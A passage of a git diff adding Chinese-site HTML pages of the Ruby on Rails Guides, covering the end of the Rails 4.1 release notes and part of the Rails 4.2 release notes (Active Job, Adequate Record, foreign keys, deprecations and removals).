Declare an enum attribute where the values map to integers in the database, but +can be queried by name.

+
+class Conversation < ActiveRecord::Base
+  enum status: [ :active, :archived ]
+end
+
+conversation.archived!
+conversation.active? # => false
+conversation.status  # => "archived"
+
+Conversation.archived # => Relation for all archived Conversations
+
+Conversation.statuses # => { "active" => 0, "archived" => 1 }
+
+
+
+

See its +documentation +for a detailed write up.

2.6 Message Verifiers

Message verifiers can be used to generate and verify signed messages. This can +be useful to safely transport sensitive data like remember-me tokens and +friends.

The method Rails.application.message_verifier returns a new message verifier +that signs messages with a key derived from secret_key_base and the given +message verifier name:

+
+signed_token = Rails.application.message_verifier(:remember_me).generate(token)
+Rails.application.message_verifier(:remember_me).verify(signed_token) # => token
+
+Rails.application.message_verifier(:remember_me).verify(tampered_token)
+# raises ActiveSupport::MessageVerifier::InvalidSignature
+
+
+
+

2.7 Module#concerning

A natural, low-ceremony way to separate responsibilities within a class:

+
+class Todo < ActiveRecord::Base
+  concerning :EventTracking do
+    included do
+      has_many :events
+    end
+
+    def latest_event
+      ...
+    end
+
+    private
+      def some_internal_method
+        ...
+      end
+  end
+end
+
+
+
+

This example is equivalent to defining a EventTracking module inline, +extending it with ActiveSupport::Concern, then mixing it in to the +Todo class.

See its +documentation +for a detailed write up and the intended use cases.

2.8 CSRF protection from remote <script> tags

Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data.

This means any of your tests that hit .js URLs will now fail CSRF protection +unless they use xhr. Upgrade your tests to be explicit about expecting +XmlHttpRequests. Instead of post :create, format: :js, switch to the explicit +xhr :post, :create, format: :js.

3 Railties

Please refer to the +Changelog +for detailed changes.

3.1 Removals

+
    +
  • Removed update:application_controller rake task.

  • +
  • Removed deprecated Rails.application.railties.engines.

  • +
  • Removed deprecated threadsafe! from Rails Config.

  • +
  • Removed deprecated ActiveRecord::Generators::ActiveModel#update_attributes in +favor of ActiveRecord::Generators::ActiveModel#update.

  • +
  • Removed deprecated config.whiny_nils option.

  • +
  • Removed deprecated rake tasks for running tests: rake test:uncommitted and +rake test:recent.

  • +
+

3.2 Notable changes

+
    +
  • The Spring application +preloader is now installed +by default for new applications. It uses the development group of +the Gemfile, so will not be installed in +production. (Pull Request)

  • +
  • BACKTRACE environment variable to show unfiltered backtraces for test +failures. (Commit)

  • +
  • Exposed MiddlewareStack#unshift to environment +configuration. (Pull Request)

  • +
  • Added Application#message_verifier method to return a message +verifier. (Pull Request)

  • +
  • The test_help.rb file which is required by the default generated test +helper will automatically keep your test database up-to-date with +db/schema.rb (or db/structure.sql). It raises an error if +reloading the schema does not resolve all pending migrations. Opt out +with config.active_record.maintain_test_schema = false. (Pull +Request)

  • +
  • Introduce Rails.gem_version as a convenience method to return +Gem::Version.new(Rails.version), suggesting a more reliable way to perform +version comparison. (Pull Request)

  • +
+

4 Action Pack

Please refer to the +Changelog +for detailed changes.

4.1 Removals

+
    +
  • Removed deprecated Rails application fallback for integration testing, set +ActionDispatch.test_app instead.

  • +
  • Removed deprecated page_cache_extension config.

  • +
  • Removed deprecated ActionController::RecordIdentifier, use +ActionView::RecordIdentifier instead.

  • +
  • Removed deprecated constants from Action Controller:

  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RemovedSuccessor
ActionController::AbstractRequestActionDispatch::Request
ActionController::RequestActionDispatch::Request
ActionController::AbstractResponseActionDispatch::Response
ActionController::ResponseActionDispatch::Response
ActionController::RoutingActionDispatch::Routing
ActionController::IntegrationActionDispatch::Integration
ActionController::IntegrationTestActionDispatch::IntegrationTest
+

4.2 Notable changes

+
    +
  • protect_from_forgery also prevents cross-origin <script> tags. +Update your tests to use xhr :get, :foo, format: :js instead of +get :foo, format: :js. +(Pull Request)

  • +
  • #url_for takes a hash with options inside an +array. (Pull Request)

  • +
  • Added session#fetch method fetch behaves similarly to +Hash#fetch, +with the exception that the returned value is always saved into the +session. (Pull Request)

  • +
  • Separated Action View completely from Action +Pack. (Pull Request)

  • +
  • Log which keys were affected by deep +munge. (Pull Request)

  • +
  • New config option config.action_dispatch.perform_deep_munge to opt out of +params "deep munging" that was used to address security vulnerability +CVE-2013-0155. (Pull Request)

  • +
  • New config option config.action_dispatch.cookies_serializer for specifying a +serializer for the signed and encrypted cookie jars. (Pull Requests +1, +2 / +More Details)

  • +
  • Added render :plain, render :html and render +:body. (Pull Request / +More Details)

  • +
+

5 Action Mailer

Please refer to the +Changelog +for detailed changes.

5.1 Notable changes

+
    +
  • Added mailer previews feature based on 37 Signals mail_view +gem. (Commit)

  • +
  • Instrument the generation of Action Mailer messages. The time it takes to +generate a message is written to the log. (Pull Request)

  • +
+

6 Active Record

Please refer to the +Changelog +for detailed changes.

6.1 Removals

+
    +
  • Removed deprecated nil-passing to the following SchemaCache methods: +primary_keys, tables, columns and columns_hash.

  • +
  • Removed deprecated block filter from ActiveRecord::Migrator#migrate.

  • +
  • Removed deprecated String constructor from ActiveRecord::Migrator.

  • +
  • Removed deprecated scope use without passing a callable object.

  • +
  • Removed deprecated transaction_joinable= in favor of begin_transaction +with a :joinable option.

  • +
  • Removed deprecated decrement_open_transactions.

  • +
  • Removed deprecated increment_open_transactions.

  • +
  • Removed deprecated PostgreSQLAdapter#outside_transaction? +method. You can use #transaction_open? instead.

  • +
  • Removed deprecated ActiveRecord::Fixtures.find_table_name in favor of +ActiveRecord::Fixtures.default_fixture_model_name.

  • +
  • Removed deprecated columns_for_remove from SchemaStatements.

  • +
  • Removed deprecated SchemaStatements#distinct.

  • +
  • Moved deprecated ActiveRecord::TestCase into the Rails test +suite. The class is no longer public and is only used for internal +Rails tests.

  • +
  • Removed support for deprecated option :restrict for :dependent +in associations.

  • +
  • Removed support for deprecated :delete_sql, :insert_sql, :finder_sql +and :counter_sql options in associations.

  • +
  • Removed deprecated method type_cast_code from Column.

  • +
  • Removed deprecated ActiveRecord::Base#connection method. +Make sure to access it via the class.

  • +
  • Removed deprecation warning for auto_explain_threshold_in_seconds.

  • +
  • Removed deprecated :distinct option from Relation#count.

  • +
  • Removed deprecated methods partial_updates, partial_updates? and +partial_updates=.

  • +
  • Removed deprecated method scoped.

  • +
  • Removed deprecated method default_scopes?.

  • +
  • Remove implicit join references that were deprecated in 4.0.

  • +
  • Removed activerecord-deprecated_finders as a dependency. +Please see the gem README +for more info.

  • +
  • Removed usage of implicit_readonly. Please use readonly method +explicitly to mark records as +readonly. (Pull Request)

  • +
+

6.2 Deprecations

+
    +
  • Deprecated quoted_locking_column method, which isn't used anywhere.

  • +
  • Deprecated ConnectionAdapters::SchemaStatements#distinct, +as it is no longer used by internals. (Pull Request)

  • +
  • Deprecated rake db:test:* tasks as the test database is now +automatically maintained. See railties release notes. (Pull +Request)

  • +
  • Deprecate unused ActiveRecord::Base.symbolized_base_class +and ActiveRecord::Base.symbolized_sti_name without +replacement. Commit

  • +
+

6.3 Notable changes

+
    +
  • Default scopes are no longer overridden by chained conditions.
  • +
+

Before this change when you defined a default_scope in a model + it was overridden by chained conditions in the same field. Now it + is merged like any other scope. More Details.

+
    +
  • Added ActiveRecord::Base.to_param for convenient "pretty" URLs derived from +a model's attribute or +method. (Pull Request)

  • +
  • Added ActiveRecord::Base.no_touching, which allows ignoring touch on +models. (Pull Request)

  • +
  • Unify boolean type casting for MysqlAdapter and Mysql2Adapter. +type_cast will return 1 for true and 0 for false. (Pull Request)

  • +
  • .unscope now removes conditions specified in +default_scope. (Commit)

  • +
  • Added ActiveRecord::QueryMethods#rewhere which will overwrite an existing, +named where condition. (Commit)

  • +
  • Extended ActiveRecord::Base#cache_key to take an optional list of timestamp +attributes of which the highest will be used. (Commit)

  • +
  • Added ActiveRecord::Base#enum for declaring enum attributes where the values +map to integers in the database, but can be queried by +name. (Commit)

  • +
  • Type cast json values on write, so that the value is consistent with reading +from the database. (Pull Request)

  • +
  • Type cast hstore values on write, so that the value is consistent +with reading from the database. (Commit)

  • +
  • Make next_migration_number accessible for third party +generators. (Pull Request)

  • +
  • Calling update_attributes will now throw an ArgumentError whenever it +gets a nil argument. More specifically, it will throw an error if the +argument that it gets passed does not respond to to +stringify_keys. (Pull Request)

  • +
  • CollectionAssociation#first/#last (e.g. has_many) use a LIMITed +query to fetch results rather than loading the entire +collection. (Pull Request)

  • +
  • inspect on Active Record model classes does not initiate a new +connection. This means that calling inspect, when the database is missing, +will no longer raise an exception. (Pull Request)

  • +
  • Removed column restrictions for count, let the database raise if the SQL is +invalid. (Pull Request)

  • +
  • Rails now automatically detects inverse associations. If you do not set the +:inverse_of option on the association, then Active Record will guess the +inverse association based on heuristics. (Pull Request)

  • +
  • Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, +ActiveRecord will now translate aliased attribute names to the actual column +name used in the database. (Pull Request)

  • +
  • The ERB in fixture files is no longer evaluated in the context of the main +object. Helper methods used by multiple fixtures should be defined on modules +included in ActiveRecord::FixtureSet.context_class. (Pull Request)

  • +
  • Don't create or drop the test database if RAILS_ENV is specified +explicitly. (Pull Request)

  • +
  • Relation no longer has mutator methods like #map! and #delete_if. Convert +to an Array by calling #to_a before using these methods. (Pull Request)

  • +
  • find_in_batches, find_each, Result#each and Enumerable#index_by now +return an Enumerator that can calculate its +size. (Pull Request)

  • +
  • scope, enum and Associations now raise on "dangerous" name +conflicts. (Pull Request, +Pull Request)

  • +
  • second through fifth methods act like the first +finder. (Pull Request)

  • +
  • Make touch fire the after_commit and after_rollback +callbacks. (Pull Request)

  • +
  • Enable partial indexes for sqlite >= 3.8.0. +(Pull Request)

  • +
  • Make change_column_null +revertible. (Commit)

  • +
  • Added a flag to disable schema dump after migration. This is set to false +by default in the production environment for new applications. +(Pull Request)

  • +
+

7 Active Model

Please refer to the +Changelog +for detailed changes.

7.1 Deprecations

+
    +
  • Deprecate Validator#setup. This should be done manually now in the +validator's constructor. (Commit)
  • +
+

7.2 Notable changes

+
    +
  • Added new API methods reset_changes and changes_applied to +ActiveModel::Dirty that control changes state.

  • +
  • Ability to specify multiple contexts when defining a +validation. (Pull Request)

  • +
  • attribute_changed? now accepts a hash to check if the attribute was changed +:from and/or :to a given +value. (Pull Request)

  • +
+

8 Active Support

Please refer to the +Changelog +for detailed changes.

8.1 Removals

+
    +
  • Removed MultiJSON dependency. As a result, ActiveSupport::JSON.decode +no longer accepts an options hash for MultiJSON. (Pull Request / More Details)

  • +
  • Removed support for the encode_json hook used for encoding custom objects into +JSON. This feature has been extracted into the activesupport-json_encoder +gem. +(Related Pull Request / +More Details)

  • +
  • Removed deprecated ActiveSupport::JSON::Variable with no replacement.

  • +
  • Removed deprecated String#encoding_aware? core extensions (core_ext/string/encoding).

  • +
  • Removed deprecated Module#local_constant_names in favor of Module#local_constants.

  • +
  • Removed deprecated DateTime.local_offset in favor of DateTime.civil_from_format.

  • +
  • Removed deprecated Logger core extensions (core_ext/logger.rb).

  • +
  • Removed deprecated Time#time_with_datetime_fallback, Time#utc_time and +Time#local_time in favor of Time#utc and Time#local.

  • +
  • Removed deprecated Hash#diff with no replacement.

  • +
  • Removed deprecated Date#to_time_in_current_zone in favor of Date#in_time_zone.

  • +
  • Removed deprecated Proc#bind with no replacement.

  • +
  • Removed deprecated Array#uniq_by and Array#uniq_by!, use native +Array#uniq and Array#uniq! instead.

  • +
  • Removed deprecated ActiveSupport::BasicObject, use +ActiveSupport::ProxyObject instead.

  • +
  • Removed deprecated BufferedLogger, use ActiveSupport::Logger instead.

  • +
  • Removed deprecated assert_present and assert_blank methods, use assert +object.blank? and assert object.present? instead.

  • +
  • Remove deprecated #filter method for filter objects, use the corresponding +method instead (e.g. #before for a before filter).

  • +
  • Removed 'cow' => 'kine' irregular inflection from default +inflections. (Commit)

  • +
+

8.2 Deprecations

+
    +
  • Deprecated Numeric#{ago,until,since,from_now}, the user is expected to +explicitly convert the value into an AS::Duration, i.e. 5.ago => 5.seconds.ago +(Pull Request)

  • +
  • Deprecated the require path active_support/core_ext/object/to_json. Require +active_support/core_ext/object/json instead. (Pull Request)

  • +
  • Deprecated ActiveSupport::JSON::Encoding::CircularReferenceError. This feature +has been extracted into the activesupport-json_encoder +gem. +(Pull Request / +More Details)

  • +
  • Deprecated ActiveSupport.encode_big_decimal_as_string option. This feature has +been extracted into the activesupport-json_encoder +gem. +(Pull Request / +More Details)

  • +
  • Deprecate custom BigDecimal +serialization. (Pull Request)

  • +
+

8.3 Notable changes

+
    +
  • ActiveSupport's JSON encoder has been rewritten to take advantage of the +JSON gem rather than doing custom encoding in pure-Ruby. +(Pull Request / +More Details)

  • +
  • Improved compatibility with the JSON gem. +(Pull Request / +More Details)

  • +
  • Added ActiveSupport::Testing::TimeHelpers#travel and #travel_to. These +methods change current time to the given time or duration by stubbing +Time.now and Date.today.

  • +
  • Added ActiveSupport::Testing::TimeHelpers#travel_back. This method returns +the current time to the original state, by removing the stubs added by travel +and travel_to. (Pull Request)

  • +
  • Added Numeric#in_milliseconds, like 1.hour.in_milliseconds, so we can feed +them to JavaScript functions like +getTime(). (Commit)

  • +
  • Added Date#middle_of_day, DateTime#middle_of_day and Time#middle_of_day +methods. Also added midday, noon, at_midday, at_noon and +at_middle_of_day as +aliases. (Pull Request)

  • +
  • Added Date#all_week/month/quarter/year for generating date +ranges. (Pull Request)

  • +
  • Added Time.zone.yesterday and +Time.zone.tomorrow. (Pull Request)

  • +
  • Added String#remove(pattern) as a short-hand for the common pattern of +String#gsub(pattern,''). (Commit)

  • +
  • Added Hash#compact and Hash#compact! for removing items with nil value +from hash. (Pull Request)

  • +
  • blank? and present? commit to return +singletons. (Commit)

  • +
  • Default the new I18n.enforce_available_locales config to true, meaning +I18n will make sure that all locales passed to it must be declared in the +available_locales +list. (Pull Request)

  • +
  • Introduce Module#concerning: a natural, low-ceremony way to separate +responsibilities within a +class. (Commit)

  • +
  • Added Object#presence_in to simplify value whitelisting. +(Commit)

  • +
+

9 Credits

See the +full list of contributors to Rails for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/4_2_release_notes.html b/4_2_release_notes.html new file mode 100644 index 0000000..5778e82 --- /dev/null +++ b/4_2_release_notes.html @@ -0,0 +1,1029 @@ + + + + + + + +Ruby on Rails 4.2 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 4.2 Release Notes

Highlights in Rails 4.2:

+ +

These release notes cover only the major changes. To learn about other +features, bug fixes, and changes, please refer to the changelogs or check out +the list of commits in +the main Rails repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 4.2

If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.1 in case you +haven't and make sure your application still runs as expected before attempting +to upgrade to Rails 4.2. A list of things to watch out for when upgrading is +available in the guide Upgrading Ruby on +Rails.

2 Major Features

2.1 Active Job

Active Job is a new framework in Rails 4.2. It is a common interface on top of +queuing systems like Resque, Delayed +Job, +Sidekiq, and more.

Jobs written with the Active Job API run on any of the supported queues thanks +to their respective adapters. Active Job comes pre-configured with an inline +runner that executes jobs right away.

Jobs often need to take Active Record objects as arguments. Active Job passes +object references as URIs (uniform resource identifiers) instead of marshaling +the object itself. The new Global ID +library builds URIs and looks up the objects they reference. Passing Active +Record objects as job arguments just works by using Global ID internally.

For example, if trashable is an Active Record object, then this job runs +just fine with no serialization involved:

+
+class TrashableCleanupJob < ActiveJob::Base
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+
+
+
+

See the Active Job Basics guide for more +information.

2.2 Asynchronous Mails

Building on top of Active Job, Action Mailer now comes with a deliver_later +method that sends emails via the queue, so it doesn't block the controller or +model if the queue is asynchronous (the default inline queue blocks).

Sending emails right away is still possible with deliver_now.

2.3 Adequate Record

Adequate Record is a set of performance improvements in Active Record that makes +common find and find_by calls and some association queries up to 2x faster.

It works by caching common SQL queries as prepared statements and reusing them +on similar calls, skipping most of the query-generation work on subsequent +calls. For more details, please refer to Aaron Patterson's blog +post.

Active Record will automatically take advantage of this feature on +supported operations without any user involvement or code changes. Here are +some examples of supported operations:

+
+Post.find(1)  # First call generates and cache the prepared statement
+Post.find(2)  # Subsequent calls reuse the cached prepared statement
+
+Post.find_by_title('first post')
+Post.find_by_title('second post')
+
+Post.find_by(title: 'first post')
+Post.find_by(title: 'second post')
+
+post.comments
+post.comments(true)
+
+
+
+

It's important to highlight that, as the examples above suggest, the prepared +statements do not cache the values passed in the method calls; rather, they +have placeholders for them.

Caching is not used in the following scenarios:

+
    +
  • The model has a default scope
  • +
  • The model uses single table inheritance
  • +
  • +find with a list of ids, e.g.:
  • +
+
+
+  # not cached
+  Post.find(1, 2, 3)
+  Post.find([1,2])
+
+
+
+ +
    +
  • +find_by with SQL fragments:
  • +
+
+
+  Post.find_by('published_at < ?', 2.weeks.ago)
+
+
+
+

2.4 Web Console

New applications generated with Rails 4.2 now come with the Web +Console gem by default. Web Console adds +an interactive Ruby console on every error page and provides a console view +and controller helpers.

The interactive console on error pages lets you execute code in the context of +the place where the exception originated. The console helper, if called +anywhere in a view or controller, launches an interactive console with the final +context, once rendering has completed.

2.5 Foreign Key Support

The migration DSL now supports adding and removing foreign keys. They are dumped +to schema.rb as well. At this time, only the mysql, mysql2 and postgresql +adapters support foreign keys.

+
+# add a foreign key to `articles.author_id` referencing `authors.id`
+add_foreign_key :articles, :authors
+
+# add a foreign key to `articles.author_id` referencing `users.lng_id`
+add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+
+# remove the foreign key on `accounts.branch_id`
+remove_foreign_key :accounts, :branches
+
+# remove the foreign key on `accounts.owner_id`
+remove_foreign_key :accounts, column: :owner_id
+
+
+
+

See the API documentation on +add_foreign_key +and +remove_foreign_key +for a full description.

3 Incompatibilities

Previously deprecated functionality has been removed. Please refer to the +individual components for new deprecations in this release.

The following changes may require immediate action upon upgrade.

3.1 render with a String Argument

Previously, calling render "foo/bar" in a controller action was equivalent to +render file: "foo/bar". In Rails 4.2, this has been changed to mean +render template: "foo/bar" instead. If you need to render a file, please +change your code to use the explicit form (render file: "foo/bar") instead.

3.2 respond_with / Class-Level respond_to +

respond_with and the corresponding class-level respond_to have been moved +to the responders gem. Add +gem 'responders', '~> 2.0' to your Gemfile to use it:

+
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  respond_to :html, :json
+
+  def show
+    @user = User.find(params[:id])
+    respond_with @user
+  end
+end
+
+
+
+

Instance-level respond_to is unaffected:

+
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  def show
+    @user = User.find(params[:id])
+    respond_to do |format|
+      format.html
+      format.json { render json: @user }
+    end
+  end
+end
+
+
+
+

3.3 Default Host for rails server +

Due to a change in Rack, +rails server now listens on localhost instead of 0.0.0.0 by default. This +should have minimal impact on the standard development workflow as both +http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before +on your own machine.

However, with this change you will no longer be able to access the Rails +server from a different machine, for example if your development environment +is in a virtual machine and you would like to access it from the host machine. +In such cases, please start the server with rails server -b 0.0.0.0 to +restore the old behavior.

If you do this, be sure to configure your firewall properly such that only +trusted machines on your network can access your development server.

3.4 Changed status option symbols for render +

Due to a change in Rack, the symbols that the render method accepts for the :status option have changed:

+
    +
  • 306: :reserved has been removed.
  • +
  • 413: :request_entity_too_large has been renamed to :payload_too_large.
  • +
  • 414: :request_uri_too_long has been renamed to :uri_too_long.
  • +
  • 416: :requested_range_not_satisfiable has been renamed to :range_not_satisfiable.
  • +
+

Keep in mind that if calling render with an unknown symbol, the response status will default to 500.

3.5 HTML Sanitizer

The HTML sanitizer has been replaced with a new, more robust, implementation +built upon Loofah and +Nokogiri. The new sanitizer is +more secure and its sanitization is more powerful and flexible.

Due to the new algorithm, the sanitized output may be different for certain +pathological inputs.

If you have a particular need for the exact output of the old sanitizer, you +can add the rails-deprecated_sanitizer +gem to the Gemfile, to have the old behavior. The gem does not issue +deprecation warnings because it is opt-in.

rails-deprecated_sanitizer will be supported for Rails 4.2 only; it will not +be maintained for Rails 5.0.

See this blog post +for more details on the changes in the new sanitizer.

3.6 assert_select +

assert_select is now based on Nokogiri. +As a result, some previously-valid selectors are now unsupported. If your +application is using any of these spellings, you will need to update them:

+
    +
  • +

    Values in attribute selectors may need to be quoted if they contain +non-alphanumeric characters.

    +
    +
    +# before
    +a[href=/]
    +a[href$=/]
    +
    +# now
    +a[href="http://github.com/"]
    +a[href$="/"]
    +
    +
    +
    +
  • +
  • +

    DOMs built from HTML source containing invalid HTML with improperly +nested elements may differ.

    +

    For example:

    +
    +
    +# content: <div><i><p></i></div>
    +
    +# before:
    +assert_select('div > i')  # => true
    +assert_select('div > p')  # => false
    +assert_select('i > p')    # => true
    +
    +# now:
    +assert_select('div > i')  # => true
    +assert_select('div > p')  # => true
    +assert_select('i > p')    # => false
    +
    +
    +
    +
  • +
  • +

    If the data selected contains entities, the value selected for comparison +used to be raw (e.g. AT&amp;T), and now is evaluated +(e.g. AT&T).

    +
    +
    +# content: <p>AT&amp;T</p>
    +
    +# before:
    +assert_select('p', 'AT&amp;T')  # => true
    +assert_select('p', 'AT&T')      # => false
    +
    +# now:
    +assert_select('p', 'AT&T')      # => true
    +assert_select('p', 'AT&amp;T')  # => false
    +
    +
    +
    +
  • +
+

Furthermore substitutions have changed syntax.

Now you have to use a :match CSS-like selector:

+
+assert_select ":match('id', ?)", 'comment_1'
+
+
+
+

Additionally Regexp substitutions look different when the assertion fails. +Notice how /hello/ here:

+
+assert_select(":match('id', ?)", /hello/)
+
+
+
+

becomes "(?-mix:hello)":

+
+Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0..
+Expected 0 to be >= 1.
+
+
+
+

See the Rails Dom Testing documentation for more on assert_select.

4 Railties

Please refer to the Changelog for detailed changes.

4.1 Removals

+
    +
  • The --skip-action-view option has been removed from the +app generator. (Pull Request)

  • +
  • The rails application command has been removed without replacement. +(Pull Request)

  • +
+

4.2 Deprecations

+
    +
  • Deprecated missing config.log_level for production environments. +(Pull Request)

  • +
  • Deprecated rake test:all in favor of rake test as it now run all tests +in the test folder. +(Pull Request)

  • +
  • Deprecated rake test:all:db in favor of rake test:db. +(Pull Request)

  • +
  • Deprecated Rails::Rack::LogTailer without replacement. +(Commit)

  • +
+

4.3 Notable changes

+
    +
  • Introduced web-console in the default application Gemfile. +(Pull Request)

  • +
  • Added a required option to the model generator for associations. +(Pull Request)

  • +
  • +

    Introduced the x namespace for defining custom configuration options:

    +
    +
    +# config/environments/production.rb
    +config.x.payment_processing.schedule = :daily
    +config.x.payment_processing.retries  = 3
    +config.x.super_debugger              = true
    +
    +
    +
    +

    These options are then available through the configuration object:

    +
    +
    +Rails.configuration.x.payment_processing.schedule # => :daily
    +Rails.configuration.x.payment_processing.retries  # => 3
    +Rails.configuration.x.super_debugger              # => true
    +
    +
    +
    +

    (Commit)

    +
  • +
  • +

    Introduced Rails::Application.config_for to load a configuration for the +current environment.

    +
    +
    +# config/exception_notification.yml:
    +production:
    +  url: http://127.0.0.1:8080
    +  namespace: my_app_production
    +development:
    +  url: http://localhost:3001
    +  namespace: my_app_development
    +
    +# config/environments/production.rb
    +Rails.application.configure do
    +  config.middleware.use ExceptionNotifier, config_for(:exception_notification)
    +end
    +
    +
    +
    +

    (Pull Request)

    +
  • +
  • Introduced a --skip-turbolinks option in the app generator to not generate +turbolinks integration. +(Commit)

  • +
  • Introduced a bin/setup script as a convention for automated setup code when +bootstrapping an application. +(Pull Request)

  • +
  • Changed the default value for config.assets.digest to true in development. +(Pull Request)

  • +
  • Introduced an API to register new extensions for rake notes. +(Pull Request)

  • +
  • Introduced an after_bundle callback for use in Rails templates. +(Pull Request)

  • +
  • Introduced Rails.gem_version as a convenience method to return +Gem::Version.new(Rails.version). +(Pull Request)

  • +
+

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

+
    +
  • respond_with and the class-level respond_to have been removed from Rails and +moved to the responders gem (version 2.0). Add gem 'responders', '~> 2.0' +to your Gemfile to continue using these features. +(Pull Request, + More Details)

  • +
  • Removed deprecated AbstractController::Helpers::ClassMethods::MissingHelperError +in favor of AbstractController::Helpers::MissingHelperError. +(Commit)

  • +
+

5.2 Deprecations

+
    +
  • Deprecated the only_path option on *_path helpers. +(Commit)

  • +
  • Deprecated assert_tag, assert_no_tag, find_tag and find_all_tag in +favor of assert_select. +(Commit)

  • +
  • +

    Deprecated support for setting the :to option of a router to a symbol or a +string that does not contain a "#" character:

    +
    +
    +get '/posts', to: MyRackApp    => (No change necessary)
    +get '/posts', to: 'post#index' => (No change necessary)
    +get '/posts', to: 'posts'      => get '/posts', controller: :posts
    +get '/posts', to: :index       => get '/posts', action: :index
    +
    +
    +
    +

    (Commit)

    +
  • +
  • +

    Deprecated support for string keys in URL helpers:

    +
    +
    +# bad
    +root_path('controller' => 'posts', 'action' => 'index')
    +
    +# good
    +root_path(controller: 'posts', action: 'index')
    +
    +
    +
    +

    (Pull Request)

    +
  • +
+

5.3 Notable changes

+
    +
  • +

    The *_filter family of methods have been removed from the documentation. Their +usage is discouraged in favor of the *_action family of methods:

    +
    +
    +after_filter          => after_action
    +append_after_filter   => append_after_action
    +append_around_filter  => append_around_action
    +append_before_filter  => append_before_action
    +around_filter         => around_action
    +before_filter         => before_action
    +prepend_after_filter  => prepend_after_action
    +prepend_around_filter => prepend_around_action
    +prepend_before_filter => prepend_before_action
    +skip_after_filter     => skip_after_action
    +skip_around_filter    => skip_around_action
    +skip_before_filter    => skip_before_action
    +skip_filter           => skip_action_callback
    +
    +
    +
    +

    If your application currently depends on these methods, you should use the +replacement *_action methods instead. These methods will be deprecated in +the future and will eventually be removed from Rails.

    +

    (Commit 1, +2)

    +
  • +
  • render nothing: true or rendering a nil body no longer add a single +space padding to the response body. +(Pull Request)

  • +
  • Rails now automatically includes the template's digest in ETags. +(Pull Request)

  • +
  • Segments that are passed into URL helpers are now automatically escaped. +(Commit)

  • +
  • Introduced the always_permitted_parameters option to configure which +parameters are permitted globally. The default value of this configuration +is ['controller', 'action']. +(Pull Request)

  • +
  • Added the HTTP method MKCALENDAR from RFC 4791. +(Pull Request)

  • +
  • *_fragment.action_controller notifications now include the controller +and action name in the payload. +(Pull Request)

  • +
  • Improved the Routing Error page with fuzzy matching for route search. +(Pull Request)

  • +
  • Added an option to disable logging of CSRF failures. +(Pull Request)

  • +
  • When the Rails server is set to serve static assets, gzip assets will now be +served if the client supports it and a pre-generated gzip file (.gz) is on disk. +By default the asset pipeline generates .gz files for all compressible assets. +Serving gzip files minimizes data transfer and speeds up asset requests. Always +use a CDN if you are +serving assets from your Rails server in production. +(Pull Request)

  • +
  • +

    When calling the process helpers in an integration test the path needs to have +a leading slash. Previously you could omit it but that was a byproduct of the +implementation and not an intentional feature, e.g.:

    +
    +
    +test "list all posts" do
    +  get "/posts"
    +  assert_response :success
    +end
    +
    +
    +
    +
  • +
+

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Deprecations

+
    +
  • Deprecated AbstractController::Base.parent_prefixes. +Override AbstractController::Base.local_prefixes when you want to change +where to find views. +(Pull Request)

  • +
  • Deprecated ActionView::Digestor#digest(name, format, finder, options = {}). +Arguments should be passed as a hash instead. +(Pull Request)

  • +
+

6.2 Notable changes

+
    +
  • render "foo/bar" now expands to render template: "foo/bar" instead of +render file: "foo/bar". +(Pull Request)

  • +
  • The form helpers no longer generate a <div> element with inline CSS around +the hidden fields. +(Pull Request)

  • +
  • Introduced a #{partial_name}_iteration special local variable for use with +partials that are rendered with a collection. It provides access to the +current state of the iteration via the index, size, first? and +last? methods. +(Pull Request)

  • +
  • Placeholder I18n follows the same convention as label I18n. +(Pull Request)

  • +
+

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Deprecations

+
    +
  • Deprecated *_path helpers in mailers. Always use *_url helpers instead. +(Pull Request)

  • +
  • Deprecated deliver / deliver! in favor of deliver_now / deliver_now!. +(Pull Request)

  • +
+

7.2 Notable changes

+
    +
  • link_to and url_for generate absolute URLs by default in templates, +it is no longer needed to pass only_path: false. +(Commit)

  • +
  • Introduced deliver_later which enqueues a job on the application's queue +to deliver emails asynchronously. +(Pull Request)

  • +
  • Added the show_previews configuration option for enabling mailer previews +outside of the development environment. +(Pull Request)

  • +
+

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

+
    +
  • Removed cache_attributes and friends. All attributes are cached. +(Pull Request)

  • +
  • Removed deprecated method ActiveRecord::Base.quoted_locking_column. +(Pull Request)

  • +
  • Removed deprecated ActiveRecord::Migrator.proper_table_name. Use the +proper_table_name instance method on ActiveRecord::Migration instead. +(Pull Request)

  • +
  • Removed unused :timestamp type. Transparently alias it to :datetime +in all cases. Fixes inconsistencies when column types are sent outside of +Active Record, such as for XML serialization. +(Pull Request)

  • +
+

8.2 Deprecations

+
    +
  • Deprecated swallowing of errors inside after_commit and after_rollback. +(Pull Request)

  • +
